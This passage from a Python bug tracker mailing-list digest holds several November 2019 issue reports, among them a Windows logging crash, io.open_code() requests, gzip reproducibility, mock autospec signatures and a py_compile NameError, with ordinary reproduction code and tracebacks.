Subject: [New-bugs-announce] [issue38720] Logging failure with timestamp
 messages
Message-ID: <1573053027.67.0.846988059067.issue38720@roundup.psfhosted.org>


New submission from xtobes <tobiasstrmoljan at gmail.com>:

This only happings on Windows, the scripts runs some seconds and then stops and exit with: Process finished with exit code -1073740940 (0xC0000374). This happens when the format variable of a logging config object contains the identifier '%(asctime)s'.

----------
components: Windows
messages: 356138
nosy: paul.moore, steve.dower, tim.golden, xtobes, zach.ware
priority: normal
severity: normal
status: open
title: Logging failure with timestamp messages
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38720>
_______________________________________

From report at bugs.python.org  Wed Nov  6 11:05:25 2019
From: report at bugs.python.org (Dominic Littlewood)
Date: Wed, 06 Nov 2019 16:05:25 +0000
Subject: [New-bugs-announce] [issue38722] runpy should use io.open_code()
 instead of open()
Message-ID: <1573056325.22.0.0740716880565.issue38722@roundup.psfhosted.org>


New submission from Dominic Littlewood <11dlittlewood at gmail.com>:

Fairly obviously, if you're using something called runpy you're probably trying to run some code. To do this it has to open the script as a file.

This is similar to two other issues I'm posting, but they're in different modules, so different bugs.

----------
components: Library (Lib)
messages: 356144
nosy: plokmijnuhby
priority: normal
severity: normal
status: open
title: runpy should use io.open_code() instead of open()
type: security
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38722>
_______________________________________

From report at bugs.python.org  Wed Nov  6 11:05:22 2019
From: report at bugs.python.org (Dominic Littlewood)
Date: Wed, 06 Nov 2019 16:05:22 +0000
Subject: [New-bugs-announce] [issue38721] modulefinder should use
 io.open_code() instead of open()
Message-ID: <1573056322.34.0.169304203137.issue38721@roundup.psfhosted.org>


New submission from Dominic Littlewood <11dlittlewood at gmail.com>:

modulefinder currently will detect modules imported by a script dynamically by running the script, and to do this it has to open the script as a file.

This would also fix what appears to be a bug where modulefinder failed to open files in bytes mode sometimes, causing it to fail for some modules (like functools) if the wrong encoding is used. I say "appears to be", because the structure of the module seems to imply this was intended behaviour, but I can't think why anyone would want this.

This is similar to two other issues I'm posting, but they're in different modules, so different bugs.

----------
components: Library (Lib)
messages: 356143
nosy: plokmijnuhby
priority: normal
severity: normal
status: open
title: modulefinder should use io.open_code() instead of open()
type: security
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38721>
_______________________________________

From report at bugs.python.org  Wed Nov  6 11:05:27 2019
From: report at bugs.python.org (Dominic Littlewood)
Date: Wed, 06 Nov 2019 16:05:27 +0000
Subject: [New-bugs-announce] [issue38723] Pdb._runscript should use
 io.open_code() instead of open()
Message-ID: <1573056327.47.0.0842343657409.issue38723@roundup.psfhosted.org>


New submission from Dominic Littlewood <11dlittlewood at gmail.com>:

Fairly obviously, if you're using something called _runscript you're probably trying to run some code. To do this it has to open the script as a file.

This is similar to two other issues I'm posting, but they're in different modules, so different bugs.

----------
messages: 356145
nosy: plokmijnuhby
priority: normal
severity: normal
status: open
title: Pdb._runscript should use io.open_code() instead of open()

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38723>
_______________________________________

From report at bugs.python.org  Wed Nov  6 14:44:32 2019
From: report at bugs.python.org (Ram Rachum)
Date: Wed, 06 Nov 2019 19:44:32 +0000
Subject: [New-bugs-announce] [issue38724] Implement subprocess.Popen.__repr__
Message-ID: <1573069472.42.0.802834209689.issue38724@roundup.psfhosted.org>


New submission from Ram Rachum <ram at rachum.com>:

I was working with a Popen object recently in the shell and it was annoying to see the `<subprocess.Popen at 0x4f83898>` display. It would be nice to get some kind of minimal detail about the Popen, for example its args and return code, if finished.

----------
components: Library (Lib)
messages: 356149
nosy: cool-RR, pitrou
priority: normal
severity: normal
status: open
title: Implement subprocess.Popen.__repr__
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38724>
_______________________________________

From report at bugs.python.org  Wed Nov  6 15:06:31 2019
From: report at bugs.python.org (Zack Weinberg)
Date: Wed, 06 Nov 2019 20:06:31 +0000
Subject: [New-bugs-announce] [issue38725] Documented equivalent of `gzip -n`
 (omit timestamp and original file name) in gzip module
Message-ID: <1573070791.08.0.617845732948.issue38725@roundup.psfhosted.org>


New submission from Zack Weinberg <zackw at panix.com>:

Recent versions of the gzip command-line utility have an option `-n` which causes it to omit the FNAME field of the gzip file header, and write out the MTIME field as zero.  Both of these properties are desirable when constructing reproducible build artifacts (see https://reproducible-builds.org/ ).

Right now, the gzip module lets you set MTIME to zero explicitly by passing `mtime=0` to the GzipFile constructor, but this is not documented.  You can avoid writing out a filename by opening the output file yourself:

    with gzip.GzipFile(fileobj=open("foo.gz", "wb"),
                       filename='', mtime=0) as ofp:
        ... write to ofp ...

but that's awkward and, again, not documented.  I'd like to be able to write something like this instead:

    with gzip.open("foo.gz", mtime=0, record_filename=False) as ofp:

with this being the documented way to achieve the same effect as `gzip -n`.

----------
components: Library (Lib)
messages: 356150
nosy: zwol
priority: normal
severity: normal
status: open
title: Documented equivalent of `gzip -n` (omit timestamp and original file name) in gzip module

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38725>
_______________________________________

From report at bugs.python.org  Wed Nov  6 15:12:04 2019
From: report at bugs.python.org (Zack Weinberg)
Date: Wed, 06 Nov 2019 20:12:04 +0000
Subject: [New-bugs-announce] [issue38726] Add equivalent of `gzip -n` (omit
 timestamp and original file name) to tarfile module's auto-compression
 support
Message-ID: <1573071124.37.0.34941021587.issue38726@roundup.psfhosted.org>


New submission from Zack Weinberg <zackw at panix.com>:

Recent versions of the gzip command-line utility have an option `-n` which causes it to omit the FNAME field of the gzip file header, and write out the MTIME field as zero.  Both of these properties are desirable when constructing reproducible build artifacts (see https://reproducible-builds.org/ ).

Right now, it's possible to get the `gzip` module to do the same thing (it's not documented, but it's possible; see bug 38725) but, as far as I can tell, if you use `tarfile`'s "w:gz" or "w|gz" modes you will always get a timestamp and a filename in the output.  Please add `w[:|]gzn`, or something like that, that behaves as-if the output were piped through `gzip -n`.

(It might make sense to remove the manual creation of a gzip file header from the tarfile module at the same time; it looks like this code predates the addition of the gzip module to the stdlib.)

----------
messages: 356151
nosy: zwol
priority: normal
severity: normal
status: open
title: Add equivalent of `gzip -n` (omit timestamp and original file name) to tarfile module's auto-compression support

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38726>
_______________________________________

From report at bugs.python.org  Wed Nov  6 15:14:38 2019
From: report at bugs.python.org (Zack Weinberg)
Date: Wed, 06 Nov 2019 20:14:38 +0000
Subject: [New-bugs-announce] [issue38727] setup.py sdist --format=gztar
 should use (equivalent of) `gzip -n`
Message-ID: <1573071278.89.0.711333419595.issue38727@roundup.psfhosted.org>


New submission from Zack Weinberg <zackw at panix.com>:

Recent versions of the gzip command-line utility have an option `-n` which causes it to omit the FNAME field of the gzip file header, and write out the MTIME field as zero.  Both of these properties are desirable when constructing reproducible build artifacts (see https://reproducible-builds.org/ ).

An sdist tarball is a build artifact and it should be created as reproducibly as possible.  In particular, --format=gztar should behave as-if `gzip -n` were in use.  (The stdlib's gzip module can produce output equivalent to what gzip -n does, but this is not currently documented nor is it accessible via `tarfile`.  Both of those should be easy fixes.  See bug 38725 and bug 38726.)

----------
components: Distutils
messages: 356152
nosy: dstufft, eric.araujo, zwol
priority: normal
severity: normal
status: open
title: setup.py sdist --format=gztar should use (equivalent of) `gzip -n`

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38727>
_______________________________________

From report at bugs.python.org  Wed Nov  6 17:41:31 2019
From: report at bugs.python.org (Jean-Christophe Fillion-Robin)
Date: Wed, 06 Nov 2019 22:41:31 +0000
Subject: [New-bugs-announce] [issue38728] Update PC/pyconfig.h to support
 disabling auto linking
Message-ID: <1573080091.42.0.697826916573.issue38728@roundup.psfhosted.org>


New submission from Jean-Christophe Fillion-Robin <jchris.fillionr at kitware.com>:

When configuring project using build-system generator like CMake, the linking is explicitly handled and does not to be implicitly hard-coded in pyconfig.h

Having the "pythonXY.lib" library hard-coded in pyconfig.h currently requires to explicitly specify a link directory. While possible, this require to increase the complexity of our build-system.

I suggest we introduce a new macro (e.g PY_CONFIG_AUTOLINK_DISABLED)

----------
components: Windows
messages: 356158
nosy: Jean-Christophe Fillion-Robin, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Update PC/pyconfig.h to support disabling auto linking
type: enhancement
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38728>
_______________________________________

From report at bugs.python.org  Wed Nov  6 17:59:48 2019
From: report at bugs.python.org (Ben Reilly)
Date: Wed, 06 Nov 2019 22:59:48 +0000
Subject: [New-bugs-announce] [issue38729] mock.create_autospec generates
 incorrect signature for some decorated methods
Message-ID: <1573081188.35.0.210639381989.issue38729@roundup.psfhosted.org>


New submission from Ben Reilly <breilly at box.com>:

mock.create_autospec is meant to create a mock that will ensure, among other things, that method calls on the mock correspond to real methods on the original object and that the arguments match the signature of the original method. However, if the original method is decorated with a method that returns a callable object, the signature check may fail.

Attached is a script that demonstrates the error.

The essential part of the script looks like this:
====
def decorator(m):
    return Wrapper(m)

class Wrapper(object):
    def __init__(self, method):
        self.method = method
        update_wrapper(self, method)

    def __call__(self, instance, *args, **kwargs):
        return self.__get__(instance, type(instance))(*args, **kwargs)

    def __get__(self, instance, owner):
        ... # do the wrapping
====

The `decorator` method returns an instance of the `Wrapper` class, which is callable. Mock will calculate the signature of a method wrapped with `decorator` to be equal to that of `Wrapper.__call__`, namely `(instance, *args, **kwargs)`. Consequently, calls to the mocked method...

1. will incorrectly fail if the method usually takes no arguments, and
2. will incorrectly pass if the method takes at least one argument but too many arguments are provided.

This list of incorrect behaviour is not exhaustive, but hopefully you get the point.

If anyone's concerned about real-life examples, this kind of wrapper is used, for example, in the public Box SDK, as shown here: https://github.com/box/box-python-sdk/blob/b7f41d9a3f8be0ff3622a0c417bf31d2fbbee969/boxsdk/util/api_call_decorator.py#L10

----------
files: decorator.py
messages: 356159
nosy: breilly_box
priority: normal
severity: normal
status: open
title: mock.create_autospec generates incorrect signature for some decorated methods
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48698/decorator.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38729>
_______________________________________

From report at bugs.python.org  Wed Nov  6 23:53:19 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 07 Nov 2019 04:53:19 +0000
Subject: [New-bugs-announce] [issue38730] 2.7 modern compiler warnings
Message-ID: <1573102399.46.0.00140143466152.issue38730@roundup.psfhosted.org>


New submission from Benjamin Peterson <benjamin at python.org>:

GCC 9's -Wstringop-truncation warnings trigger several times in 2.7. Some of these instances are all actual bugs. In all cases, we should clarify the code to make the compiler happy.

----------
components: Build
messages: 356166
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: 2.7 modern compiler warnings
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38730>
_______________________________________

From report at bugs.python.org  Thu Nov  7 01:53:38 2019
From: report at bugs.python.org (Kaoru Esashika)
Date: Thu, 07 Nov 2019 06:53:38 +0000
Subject: [New-bugs-announce] [issue38731] bad input crashes py_compile
 library
Message-ID: <1573109618.35.0.267510329775.issue38731@roundup.psfhosted.org>


New submission from Kaoru Esashika <kaoru.esashika at gmail.com>:

How to reproduction:
Step 1: make bad source code
Step 2: run "python -m py_compile bad_source_code.py"
Step 3: errors printed

It seems that this problem is introduced at issue 22640 (commit https://github.com/python/cpython/commit/2e33ecd7c9b0cac3efc6fcbdd4547fd086b4e2d1)
and it have not fixed yet.

variable 'quiet' is not defined in main function as far as I can see.

```
Traceback (most recent call last):
  File "c:\users\<USERNAME>\.scoop\apps\python\3.8.0\Lib\py_compile.py", line 144, in compile
    code = loader.source_to_code(source_bytes, dfile or file,
  File "<frozen importlib._bootstrap_external>", line 846, in source_to_code
  File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed
  File "c:/Users/<USERNAME>/AppData/Local/Temp/flycheckrIYLj4/test.py", line 25
    def calc_entropy(self):
    ^
IndentationError: expected an indented block

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "c:\users\<USERNAME>\.scoop\apps\python\3.8.0\Lib\py_compile.py", line 209, in main
    compile(filename, doraise=True)
  File "c:\users\<USERNAME>\.scoop\apps\python\3.8.0\Lib\py_compile.py", line 150, in compile
    raise py_exc
__main__.PyCompileError: Sorry: IndentationError: expected an indented block (c:/Users/<USERNAME>/AppData/Local/Temp/flycheckrIYLj4/test.py, line 25)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "c:\users\<USERNAME>\.scoop\apps\python\3.8.0\Lib\runpy.py", line 192, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "c:\users\<USERNAME>\.scoop\apps\python\3.8.0\Lib\runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "c:\users\<USERNAME>\.scoop\apps\python\3.8.0\Lib\py_compile.py", line 218, in <module>
    sys.exit(main())
  File "c:\users\<USERNAME>\.scoop\apps\python\3.8.0\Lib\py_compile.py", line 213, in main
    if quiet < 2:
NameError: name 'quiet' is not defined

```

----------
components: Library (Lib)
messages: 356173
nosy: Kaoru Esashika
priority: normal
severity: normal
status: open
title: bad input crashes py_compile library
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38731>
_______________________________________

From report at bugs.python.org  Thu Nov  7 03:42:03 2019
From: report at bugs.python.org (Marco)
Date: Thu, 07 Nov 2019 08:42:03 +0000
Subject: [New-bugs-announce] [issue38732] Adding relp support as a new
 logging handler
Message-ID: <1573116123.59.0.255595636575.issue38732@roundup.psfhosted.org>


New submission from Marco <m.faverof at gmail.com>:

Hello, a pyrelp module was released to send messages over RELP to a RELP server, such as rsylog:

   https://github.com/mathias-nyman/pyrelp
   https://github.com/rsyslog/librelp

It should be very useful the possibility to add this feature as a logging handler.

A SyslogHandler already exists, but it support only normal TCP. You could add the RELP support.

Thank you to consider this.

----------
components: Extension Modules
messages: 356178
nosy: falon
priority: normal
severity: normal
status: open
title: Adding relp support as a new logging handler
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38732>
_______________________________________

From report at bugs.python.org  Thu Nov  7 04:29:32 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Nov 2019 09:29:32 +0000
Subject: [New-bugs-announce] [issue38733] PyErr_Occurred(): tstate must be
 non-NULL
Message-ID: <1573118972.06.0.487473179974.issue38733@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

bpo-3605 modified PyErr_Occurred() to return NULL if the current Python thread state ("tstate") is NULL:

commit 8e0bdfd1d473ddffaf3501768678f8a970019da8
Author: Jeffrey Yasskin <jyasskin at gmail.com>
Date:   Thu May 13 18:31:05 2010 +0000

    Make PyErr_Occurred return NULL if there is no current thread.  Previously it
    would Py_FatalError, which called PyErr_Occurred, resulting in a semi-infinite
    recursion.
    
    Fixes issue 3605.

This change made PyErr_Occurred() inefficient: PyErr_Occurred() was a simple attribute read (tstate->curexc_type), and now there is an additional if per call.

I recently added _PyErr_Occurred(tstate) which is similar to PyErr_Occurred() but requires to pass tstate explicitly. I expected this function to be as simple as:

static inline PyObject* _PyErr_Occurred(PyThreadState *tstate)
{
    return tstate->curexc_type;
}

but the current implementation is:

static inline PyObject* _PyErr_Occurred(PyThreadState *tstate)
{
    return tstate == NULL ? NULL : tstate->curexc_type;
}


--

PyErr_Occurred() is currently implemented as:

PyObject* _Py_HOT_FUNCTION
PyErr_Occurred(void)
{
    PyThreadState *tstate = _PyThreadState_GET();
    return _PyErr_Occurred(tstate);
}

_PyThreadState_GET() must only be called with the GIL hold. This macro is designed to be efficient: it doesn't check if tstate is NULL.

_PyThreadState_GET() is only NULL if the thread has no Python thread state yet, or if the GIL is released.

IMHO PyErr_Occurred() must not be called if the GIL is released.

----------
components: Interpreter Core
messages: 356180
nosy: vstinner
priority: normal
severity: normal
status: open
title: PyErr_Occurred(): tstate must be non-NULL
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38733>
_______________________________________

From report at bugs.python.org  Thu Nov  7 05:28:14 2019
From: report at bugs.python.org (Paul Anton Letnes)
Date: Thu, 07 Nov 2019 10:28:14 +0000
Subject: [New-bugs-announce] [issue38734] Python 3.7 and 3.8 in Windows
 Store do not start under git bash
Message-ID: <1573122494.13.0.703066612304.issue38734@roundup.psfhosted.org>


New submission from Paul Anton Letnes <pa at letnes.com>:

Python 3.7 and 3.8 installed from the  Windows Store do not start under git bash. Rather, they give some variation of this error message:

bash: /c/Users/pa/AppData/Local/Microsoft/WindowsApps/python: Permission denied

However, the permissions are rwxr-xr-x, or 755 if you prefer. The same error occurs if I try to run pip.

How can I run python under git bash? I use python and various pip-installed executables (e.g. black) for git hooks, so this has to work for my workflow.

----------
components: Windows
messages: 356183
nosy: paul.moore, pletnes, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Python 3.7 and 3.8 in Windows Store do not start under git bash
type: crash
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38734>
_______________________________________

From report at bugs.python.org  Thu Nov  7 07:06:03 2019
From: report at bugs.python.org (Ned Batchelder)
Date: Thu, 07 Nov 2019 12:06:03 +0000
Subject: [New-bugs-announce] [issue38735] PYTHONPYCACHEPREFIX fails when
 importing a module from the root ("/")
Message-ID: <1573128363.33.0.885325437125.issue38735@roundup.psfhosted.org>


New submission from Ned Batchelder <ned at nedbatchelder.com>:

On the manylinux docker images, the current directory is "/".

If I create a file there and try to import it with PYTHONPYCACHEPREFIX set, I get a stack trace:

$ docker run -it --init --rm -v `pwd`:/io quay.io/pypa/manylinux1_x86_64 bash
[root at 29d75403d7d1 /]# cat > foo.py
a = 1
[root at 29d75403d7d1 /]# /opt/python/cp38-cp38/bin/python
Python 3.8.0 (default, Oct 30 2019, 22:13:22)
[GCC 4.8.2 20140120 (Red Hat 4.8.2-15)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import foo
>>> foo.a
1
>>>
[root at 29d75403d7d1 /]# PYTHONPYCACHEPREFIX=/opt/pyc /opt/python/cp38-cp38/bin/python
Python 3.8.0 (default, Oct 30 2019, 22:13:22)
[GCC 4.8.2 20140120 (Red Hat 4.8.2-15)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import foo
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 991, in _find_and_load
  File "<frozen importlib._bootstrap>", line 975, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 657, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 562, in module_from_spec
  File "<frozen importlib._bootstrap>", line 541, in _init_module_attrs
  File "<frozen importlib._bootstrap>", line 382, in cached
  File "<frozen importlib._bootstrap_external>", line 427, in _get_cached
  File "<frozen importlib._bootstrap_external>", line 352, in cache_from_source
IndexError: string index out of range
>>>

----------
messages: 356188
nosy: nedbat
priority: normal
severity: normal
status: open
title: PYTHONPYCACHEPREFIX fails when importing a module from the root ("/")

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38735>
_______________________________________

From report at bugs.python.org  Thu Nov  7 10:40:47 2019
From: report at bugs.python.org (=?utf-8?q?Erik_Ahl=C3=A9n?=)
Date: Thu, 07 Nov 2019 15:40:47 +0000
Subject: [New-bugs-announce] [issue38736] argparse: wrong type from
 get_default when type is set
Message-ID: <1573141247.89.0.957889061173.issue38736@roundup.psfhosted.org>


New submission from Erik Ahl?n <erik.ahlen at gmail.com>:

The type of the object returned by get_default isn't converted to the specified type supplied to add_argument. I would expect the type to be the same.

----------
components: Library (Lib)
files: test.py
messages: 356194
nosy: Erik Ahl?n
priority: normal
severity: normal
status: open
title: argparse: wrong type from get_default when type is set
type: enhancement
versions: Python 3.7
Added file: https://bugs.python.org/file48700/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38736>
_______________________________________

From report at bugs.python.org  Thu Nov  7 13:31:50 2019
From: report at bugs.python.org (Anthony Baire)
Date: Thu, 07 Nov 2019 18:31:50 +0000
Subject: [New-bugs-announce] [issue38737]
 StreamReaderProtocol.eof_received() should return True only for
 _SSLProtocolTransport
Message-ID: <1573151510.94.0.566528932469.issue38737@roundup.psfhosted.org>


New submission from Anthony Baire <ayba at free.fr>:

We developed an alternate asyncio TLS transport based on GnuTLS (https://pypi.org/project/aio-gnutls-transport/). In this project we want to support half-closed TLS connections (WriteTransport.write_eof()).


Unfortunately StreamReaderProtocol won't interoperate properly without a monkey patch because its eof_received() method returns True for any ssl transport (this is to avoid a warning in the _SSLProtocolTransport):

    def eof_received(self):
        self._stream_reader.feed_eof()
        if self._over_ssl:
            # Prevent a warning in SSLProtocol.eof_received:
            # "returning true from eof_received()
            # has no effect when using ssl"
            return False
        return True

As this is an unspecified internal feature, very specific to the _SSLProtocolTransport class (which issues the warning), we think the test should be made explicitly against this class (see the attached patch).

----------
components: asyncio
files: eof-received-over-ssl.diff
keywords: patch
messages: 356207
nosy: aba, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: StreamReaderProtocol.eof_received() should return True only for _SSLProtocolTransport
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file48701/eof-received-over-ssl.diff

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38737>
_______________________________________

From report at bugs.python.org  Thu Nov  7 14:42:20 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Nov 2019 19:42:20 +0000
Subject: [New-bugs-announce] [issue38738] Fix formatting of True and False
Message-ID: <1573155740.52.0.761967176426.issue38738@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The proposed PR fixes some issues with True and False in the documentation:

* "Return true/false" is replaced with "Return ``True``/``False``" if the function actually returns a bool.

* Fixed formatting of some True and False literals (now in monospace).

* Replaced "True/False" with "true/false" if it can be not only bool.

* Replaced some 1/0 with True/False if it corresponds the code.

----------
assignee: docs at python
components: Documentation
messages: 356210
nosy: docs at python, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Fix formatting of True and False
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38738>
_______________________________________

From report at bugs.python.org  Thu Nov  7 20:30:55 2019
From: report at bugs.python.org (Travis Lazar)
Date: Fri, 08 Nov 2019 01:30:55 +0000
Subject: [New-bugs-announce] [issue38739] pyperformance html5lib cannot
 import Mapping (and fails)
Message-ID: <1573176655.79.0.0781577229762.issue38739@roundup.psfhosted.org>


New submission from Travis Lazar <travis.lazar at gmail.com>:

When running pyperformance html5lib test, the application crashes with "ImportError: cannot import name 'Mapping' from 'collections' (/py3buildpath/lib/python3.9/collections/__init__.py)"

To reproduce:

1 - Build Python from source. I produced with git commit befa032d8869e0fab4732d910f3887642879d644 from cpython GitHub.

2 - Run pyperformance with: /py3buildpath/bin/pyperformance run --python=/py3buildpath/bin/python3 --venv venvpath -b html5lib -o output.json

3 - Immediate crash is seen with message:

#!/bin/sh
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/html5lib/_tokenizer.py", line 16, in <module>
    from ._trie import Trie
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/html5lib/_trie/__init__.py", line 3, in <module>
    from .py import Trie as PyTrie
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/html5lib/_trie/py.py", line 6, in <module>
    from ._base import Trie as ABCTrie
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/html5lib/_trie/_base.py", line 3, in <module>
    from collections import Mapping
ImportError: cannot import name 'Mapping' from 'collections' (/root/py3-tot-no/lib/python3.9/collections/__init__.py)
ERROR: Benchmark html5lib failed: Benchmark died
Traceback (most recent call last):
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/pyperformance/run.py", line 132, in run_benchmarks
    bench = func(cmd_prefix, options)
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/pyperformance/benchmarks/__init__.py", line 244, in BM_html5lib
    return run_perf_script(python, options, "html5lib")
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/pyperformance/run.py", line 98, in run_perf_script
    run_command(cmd, hide_stderr=not options.verbose)
  File "/usr/local/src/pyperf-tot-no-venv/lib/python3.9/site-packages/pyperformance/run.py", line 66, in run_command
    raise RuntimeError("Benchmark died")
RuntimeError: Benchmark died

----------
components: Tests
messages: 356219
nosy: Travis Lazar
priority: normal
severity: normal
status: open
title: pyperformance html5lib cannot import Mapping (and fails)
type: crash
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38739>
_______________________________________

From report at bugs.python.org  Fri Nov  8 01:01:02 2019
From: report at bugs.python.org (Thamme Gowda)
Date: Fri, 08 Nov 2019 06:01:02 +0000
Subject: [New-bugs-announce] [issue38740] Line count mis match between
 open() vs sys.stdin api calls
Message-ID: <1573192862.15.0.176901555432.issue38740@roundup.psfhosted.org>


New submission from Thamme Gowda <tgowdan at gmail.com>:

I ran into a line count mismatch bug and I narrowed it down to 9 lines where the line break handling is causing an issue. Please find the attachment named line_break_err.txt to reproduce the below. 


$ md5sum line_break_err.txt
5dea501b8e299a0ece94d85977728545  line_break_err.txt

# wc says there are 9 lines
$ wc -l line_break_err.txt
9 line_break_err.txt

# if I read from sys.stdin, I get 9 lines
$ python -c 'import sys; print(sum(1 for x in sys.stdin))' < line_break_err.txt

# but... if I use a open() call, i get 18 
$ python -c 'import sys; print("Linecount=", sum(1 for x in open(sys.argv[1])))' line_break_err.txt
Linecount= 18

# changing encoding or error handling has no effect
$ python -c 'import sys; print("Linecount=", sum(1 for x in open(sys.argv[1], "r", encoding="utf-8", errors="replace")))' line_break_err.txt
Linecount= 18

$ python -c 'import sys; print("Linecount=", sum(1 for x in open(sys.argv[1], "r", encoding="utf-8", errors="ignore")))' line_break_err.txt
Linecount= 18
# but, not just wc, even awk says there are only 9 lines
$ awk 'END {print "Linecount=", NR}' line_break_err.txt
Linecount= 9

# let's see python 2 using io
# python2 -c 'import sys,io; print("Linecount=", sum(1 for x in io.open(sys.argv[1],  encoding="ascii", errors="ignore")))' line_break_err.txt
('Linecount=', 18)

# But this one which we no longer use somehow gets it right
$ python2 -c 'import sys; print("Linecount=", sum(1 for x in open(sys.argv[1])))' line_break_err.txt
('Linecount=', 9)


Tested it on 
1. Linux 
Python 3.7.3 | packaged by conda-forge | (default, Jul  1 2019, 21:52:21)
[GCC 7.3.0] :: Anaconda, Inc. on linux


2. OSX
Python 3.7.3 (default, Mar 27 2019, 16:54:48)
[Clang 4.0.1 (tags/RELEASE_401/final)] :: Anaconda, Inc. on darwin

3. python 2 on OSX
Python 2.7.16 (default, Jun 19 2019, 07:40:37)
[GCC 4.2.1 Compatible Apple LLVM 10.0.1 (clang-1001.0.46.4)] on darwin

---- 

P.S. 
this is my first issue created. If this issue is a duplicate, I am happy to close it.

----------
components: IO, Library (Lib), Unicode
messages: 356224
nosy: Thamme Gowda, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: Line count mis match between open() vs sys.stdin api calls
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38740>
_______________________________________

From report at bugs.python.org  Fri Nov  8 01:07:52 2019
From: report at bugs.python.org (Mark)
Date: Fri, 08 Nov 2019 06:07:52 +0000
Subject: [New-bugs-announce] [issue38741] Definition of multiple ']' in
 header configparser
Message-ID: <1573193272.74.0.118296138456.issue38741@roundup.psfhosted.org>


New submission from Mark <mark-smirnow at ya.ru>:

in example header is "[i love [python] lang]"
parse as "i love [python", only up to the first character ']'.

now saving works correctly, but reading does not

----------
messages: 356225
nosy: @mark99i
priority: normal
severity: normal
status: open
title: Definition of multiple ']' in header configparser
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38741>
_______________________________________

From report at bugs.python.org  Fri Nov  8 03:10:53 2019
From: report at bugs.python.org (yucheng chen)
Date: Fri, 08 Nov 2019 08:10:53 +0000
Subject: [New-bugs-announce] [issue38742] ElementTree won't parse comments
 before root element
Message-ID: <1573200653.57.0.472898795822.issue38742@roundup.psfhosted.org>


New submission from yucheng chen <celinecyc1996 at gmail.com>:

issue8277
It couldn't work for those comments before the root element. 
It will raise an error that "xml.etree.ElementTree.ParseError: multiple elements on top level". 

Example:

test.xml
--------
<?xml version="1.0" encoding="utf-8"?>
<!-- comments here doesn't work -->
<root node>
  <nodeA />
  <!-- comments here is ok -->
  <nodeB />
</root node>

test.py
-------
from xml.etree import ElementTree
class MyTreeBuilder(ElementTree.TreeBuilder):
   def comment(self, data):
       self.start(ElementTree.Comment, {})
       self.data(data)
       self.end(ElementTree.Comment)
with open('c:/temp/t.xml', 'r') as f:
   xml = ElementTree.parse(
       f, parser=ElementTree.XMLParser(target=MyTreeBuilder()))
ElementTree.dump(xml)

----------
components: XML
messages: 356229
nosy: amaury.forgeotdarc, effbot, flox, poke, scoder, yucheng chen
priority: normal
severity: normal
status: open
title: ElementTree won't parse comments before root element
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38742>
_______________________________________

From report at bugs.python.org  Fri Nov  8 06:34:01 2019
